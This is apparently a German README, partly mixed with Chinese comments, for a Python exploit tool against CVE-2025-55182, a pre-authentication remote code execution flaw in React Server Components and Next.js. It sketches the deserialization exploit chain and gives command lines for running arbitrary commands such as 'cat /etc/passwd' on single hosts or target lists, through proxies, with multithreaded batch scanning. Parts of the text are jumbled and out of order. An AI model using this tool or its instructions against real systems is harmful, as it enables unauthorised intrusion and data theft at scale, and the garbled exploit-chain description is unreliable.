
React Server Components / Next.js Remote-Codeausführung vor der Authentifizierung
| Parameter | Wert |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Typ | Pre-Auth RCE |
| Komponente | Betroffene Versionen |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Zugehörige Pakete | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Die Schwachstelle nutzt einen Deserialisierungsfehler im Flight-Protokoll von React Server Components (RSC) aus und ermöglicht durch manipulierte multipart/form-data-Anfragen eine nicht authentifizierte Remote-Codeausführung. Die vollständige Exploit-Kette ist wie folgt:
POST multipart/form-data-Request in Kombination mit dem Next-Action-Header löst den Server-Action-Pfad aus$1:__proto__:then greift auf Chunk.prototype.then des Chunk-1-Objekts im PENDING-Status zu und macht es zu einem thenable$1:constructor:constructor wird über die Prototypenkette als Function-Konstruktor aufgelöstChunk.prototype.then ruft initializeModelChunk auf, um das Feld value mit dem Wert '{"then":"$B0"}' zu parsen$B0-Blobs ruft _formData.get(_prefix + "0") auf, also Function(code + "0")pip install requests[socks]
Das Skript versucht bei fehlenden Abhängigkeiten automatisch,
requestsundPySockszu installieren.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
Ergebnisse von Batch-Scans werden in die mit -o angegebene Ausgabedatei geschrieben; aufgenommen werden nur Ziele, bei denen die Schwachstelle bestätigt wurde.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略
Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Zwecken der Sicherheitsforschung. Der Anwender muss sicherstellen, dass er die ausdrückliche Genehmigung des Eigentümers des Zielsystems eingeholt hat. Nicht autorisierte Penetrationstests an Systemen sind rechtswidrig; der Anwender trägt die volle rechtliche Verantwortung selbst.
then-Eigenschaft, wird als thenable behandelt und aufgerufen, wodurch die Codeausführung ausgelöst wird (RCE)| Parameter | Beschreibung | Standardwert |
|---|
-u, --url | Einzelne Ziel-URL (schließt sich mit -f gegenseitig aus) | - |
-f, --file | Datei mit Zielliste, eine URL pro Zeile (schließt sich mit -u gegenseitig aus) | - |
-c, --command | Auszuführender Systembefehl (im --check-Modus nicht erforderlich) | - |
-o, --output | Ergebnisausgabedatei | results.txt |
-t, --threads | Anzahl paralleler Threads | 10 |
-v, --verbose | Debug-Ausgabe anzeigen | False |
--proxy | Proxy-Adresse, unterstützt HTTP und SOCKS5 | - |
--timeout | Anfragetimeout (Sekunden) | 15 |
--check | Nur Schwachstelle prüfen, keine Systembefehle ausführen | False |
--verify-ssl | TLS-Zertifikate verifizieren | False |